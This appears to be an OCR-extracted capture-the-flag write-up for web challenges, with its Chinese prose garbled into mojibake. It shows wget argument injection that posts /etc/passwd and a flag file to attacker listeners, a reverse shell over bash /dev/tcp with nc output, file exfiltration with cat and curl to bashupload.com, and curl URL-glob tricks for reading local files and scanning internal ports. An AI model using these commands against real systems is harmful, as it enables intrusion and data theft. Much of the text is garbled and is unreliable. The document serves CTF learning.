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wget

Download anything you want!
www.baidu.com

--2021-08-30 09:09:45-- http://www.baidu.com/

Resolving www.baidu.com (www.baidu.com).. 110.242.68.3, 110.242.68.4
Connecting to www.baidu.com (www.baidu.com)|110.242.68.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2381 (2.3K) [text/html]

Saving to: ‘temp’
0K .. 100% 211M=0s

2021-08-30 09:09:45 (211 MB/s) - ‘temp’ saved [2381/2381]

teststr with space www.baidu.comiX B fuzz &4 Al A

wget

Download anything you want!

www.baidu.com
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wget

Download anything you want!

www.baidu.com

--2021-08-30 09:17:22-- http://ls/

Resolving Is (Is).. failed: No address associated with hostname.
wget: unable to resolve host address 'Is'
--2021-08-30 09:17:23-- http://%5Chwww.baidu.com/
Resolving \\nwww.baidu.com (\\nwww.baidu.com)... 180.97.33.68
Cennecting to \nwww.baidu.com {\nwww.baidu.com)|180.97.33.68/:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2381 (2.3K) [text/html]

Saving to: 'temp’
0K .. 100% 288M=0s
2021-08-30 09:17:23 (288 MB/s) - 'temp’ saved [2381/2381]
FINISHED --2021-08-30 09:17:23--

Total wall cleck time: 0.7s

Deownloaded: 1 files, 2.3K in 0s (288 MB/s)

BB T A\ SR E, HRRFSHEBEREEE, ZHELEBHELPOCEXH T, FH http_proxy fl --
body-file Z>Hisk BUA L S AR IR 55 25 L.

-e;http_proxy=http://ip:port/;--method=POST; --body-file=/etc/passwd; \nwww.baidu.com

XERRFSHERBTRK, \n ST THREwgetKigrepr ., FH /etc/passwd FIXXHAR ZEEREN L.



wget

Download anything you want!
www.baidu.com

--2021-08-30 09:24:22-- httpy//%5Cnwww.baidu.com/
Connecting to 39.105.228.43:10007... connected.

Proxy request sent, awaiting response...

c -lvp 1PEO7

= /ncat
Listening on

Ncat: Listening on @

Accept: *,
Accept-Encoding: identity
Ho \nwww .baidu.com
nnection: 1
Proxy-Connection: Keep-
Content-Type: application
: 1258

root:x:0:0:
daemon: :1:dae - 1 /sbin/nologin
1 1n: f 1 login
nologin

bin/nologin
/nologin
/nologin
bin/nolegin
r/sbin/nologin

bin/nologin
bin/nologin
: I in/nologin

fgnats: fusr/sbin/nologin

ystemd/netif: r/sbin/nologin
ve ' ologin

ETREHKAag M, FE=ABH (Kiigetflag) VilH/EEMEIRG, " flagXfF4#RR flag_is_here



<body class="d-flex h—100 text-center text—white bz—dark™>
<{div class="cover—container d-flex w—100 h-100 p—3 mx—auto flex—-column”>
<header clazs="mb-auto”>
<divr
<h3 class="float-md-start mb-0"webapps</h3>
{nav class="nav nav-masthead justify—content-center float-md-end”>
<a class="nav-link actiwve” aris—current="page” href=". /wget” >weet{ a)
<{a class="nav-1link" href="./ping"»ping</ar
<a clazs="nav-1link" href="./flag"rgetflag</a>
{1—Fflag iz in ./flag iz here—>
</ navr
<fdiv:
</header’>
{main class="px-3">
<img src="../static/imazela. jpeg” alt="">
< main

B BBE: /etc/passwd B BB ctf_userfl /7, BLHIctt userH ") .bash_history 5 F|flaskfeFHIAR H 3
#& /home/ctf_user/basedirforwebapp/ , BEIEELXH /home/ctf_user/basedirforwebapp/flag_is_here BIE[ 15 Flflag.

X el nat WA . e oy = =
User-Agent: Wget/1.19.4 (linux-gnu)
Accept: ;

Accept-Encoding: identity
Host: \nwww.baidu.com
Connection: p-Alive

Connection: Keep-Alive

pip install pycryptodome
python3 web2
pycryptodomex

cat run.sh
wget -v P
touch fla

< -0 ./output -0 temp www.baidu.com

sedirforwebapp/

Accept: :
Accept-Encoding: identity
.com

onnection: Eeepjhlive
C nt-Type: application/:
Content-Length: 38

W& KBk where_is_ my FUMO
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function chijou_kega no_junnka( ) {
[||>||) ||;||J |||||J ||{||J ||}||J ||/||J " ||];

return str_replace( g g )

}
if (isset( ['DATA'])) {
['DATA'];
chijou_kega_no_junnka( ["ADDR']);
chijou_kega_no_junnka( ["PORT']);
exec("bash -c \"bash -i < /dev/tcp/ / \"");
} else {
highlight_file(__ FILE_ );
}

A LLEIE HHE S, exechb ] LR #ishell

http://1.14.102.22:8115/?DATA[ADDR J=IP&DATA[PORT ]=port

XRE R AT U shell & # 3 %F B i 11
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ERFEAME S, bashk#shell5y:, Reekam S NLHENERRZEFE, aLS U UIITEREERE

bash -1 dev/tcp

[root@izbpli7e0dgxcb89vkdgc3z ~]# nc -Llvvp 9999
Version 7.50 ( https://nmap.org/ncat )
Listening on :::9999
Listening on 0.0.0.0:9999
Connection from 1.14.102.22.

Connection from 1.14.102.22:58108.

23R Eshellz F WA WM T, F—FHi2 R EEAL HXshell #vpsi) H g 0

bash -i /dev/tcp/ip/6666

[root@izbpli7e0dqxcb89vkdgc3z ~]# nc -lvvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Listening on :::9999
Listening on 0.0.0.0:9999

Connection from 1.14.102.22.

: Connection from 1.14.102. ?? 58140.
deh -1 >& /dev/tcp/lo_. _ T 754/6666 0>&1

WWrim H, Z3shell, KR HFflag.png



www-data@c05e6f3f719d:/$ 1s -al

1s -al

total 1052

drwxr-xr-x root root 4096

drwxr-xr-x root root 4096 .

- MWXF-Xr-X | root root 0 7 ©5:38 .dockerenv

drwxr-xr-x . root root 4096 ? 04:45 bin
drwxr-xr-x root root 4096 39: boot
drwxr-xr-x root root 340 951 dev
drwxr=-xr-x root root 4096 15 etc
-r--r--r-- root root 865736 17:52 flag.png
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cat /flag.png >& /dev/tcp/~’ .254/6666 0>&1
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nc -lvvp 6666 > /var/test.png



[root@izbpli7e0dqxcb89vkdgc3z ~]# nc -lvvp 6666 > /var/test.png
Version 7.50 ( https://nmap.org/ncat )
Listening on :::6666

Listening on 0.0.0.0:6666
Connection from 1.14.102,22,
Connection from 1.14.102.22:
DEBUG: Closing fd 5.

REREEF, Biflag

ST TS,

Two baka are looking at each other

And she tall you flag is SYC{Baka~Baka~Baka~}

B — %
5 shell)5 i 31 FREX
WEIREEA curl, WLLKEFSMEREIE QRS S, REFETHFRS L.

curl bashupload.com -T /flag.png

—IEGoHI MR H T, KBEE—BNMZMAE T, wgetRFIAE], HEMFEREE M-

router.GET("/wget", getController)
func getController(c *gin.Context) {

cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()

if err != nil {

fmt.Println("error: ", err)

b
c.String(http.StatusOK, "Nothing")
BERITHS T, Ewgetitiflaghy HREIH:

/wget?argv=1 --post-file /flag http://121.5.169.223:39876/

root@VM-0-6-ubuntu:~# nc -lvvp 39876
Listening on [0.0.0.0] (family @, port 39876)
Connection from 117.21.200.166 37526 received!
POST / HTTP/1.1

User-Agent: Wget/1.20.3 (linux-gnu)

Accept: */*

Accept-Encoding: identity

Host: 121.5.169.223:39876

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 43

flag{88729834-1693-4af8-abba-0ebf6bd84ec2}



AH Wcurlfur S $ar 5, 3F BSH 3B T RABFE hinttt B, FrolsE— RN Ffileh i £ hinttt , BRFW T
J8: $blacklist = "/1|g|[\x@1-\x1f]|[\x7f-\xFf]|['\"1/1i"; , filekI | HbanT

BT AR Bk 3 % BlourlXFurlff) — e kb 38, HouriBBjurrh B8 { A1 [ B, Zurlit SR pk b 2 .
https://github.com/curl/curl/blob/master/src/tool_urlglob.c#L360

[ FIAH<EAE B glob_range #E4T4b3, { H glob_set #4TACE, BiEBEHAE AMEANIE X 24 R £ 0 S A b 1208 45

glob_range

* processes a range expression with the point behind the opening ‘[’

"

- char range: e.g. "a-z]", "B-Q]"

- num range: e.g. "0-9]", "17-2000]"

- num range with leading zeros: e.g. "001-999]"

expression i1s checked for well-formedness and collected until the next ']’
%/

glob_set

* processes a set expression with the point behind the opening '{'
'-separated elements are collected until the next closing '}’

*/

EANBIF: 'fi[k-m]e:///etc/passwd’ SfEMT 3 url

fike:///etc/passwd
file:///etc/passwd
fime:///etc/passwd

[1/3]: fike:///etc/passwd —--> <stdout>
-—_curl_--fike:///etc/passwd
curl: (1) Protocol "fike" not supported or disabled in libecurl

[2/3]: file:///etc/passwd ——>
-—_curl_--file:///etc/passud

root: :0:root: /root: fusr/bi
daemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nolegin

bin:x:2:2:bin:/bin:/usr in/noleogin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
5ync:x:4:6553ﬂ.;vnc /bin: /bin/sync
games:x:5:60:games: fusr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
Llp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail: /var/mail: /usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin

"{f,g}ile:///etc/passwd' =fEMTEL2 A url:

file:///etc/passwd
gile:///etc/passwd

i IX A trickE AT LAATAE H — ourl BT £ 75, tLmEHLETM. I D H#EE:



'http://127.0.0.1:{80,8080,8000}/' # FH#lEEw
"http://127.0.0.1:[80-1000]/" # FH#HEAITE/EH
"http://172.27.190.[1-254]:80" # F9#CE 803 1

"http://172.27.190.[1-254]:{80,8080}"' # FI#ICEHI80FI8080 3% [1
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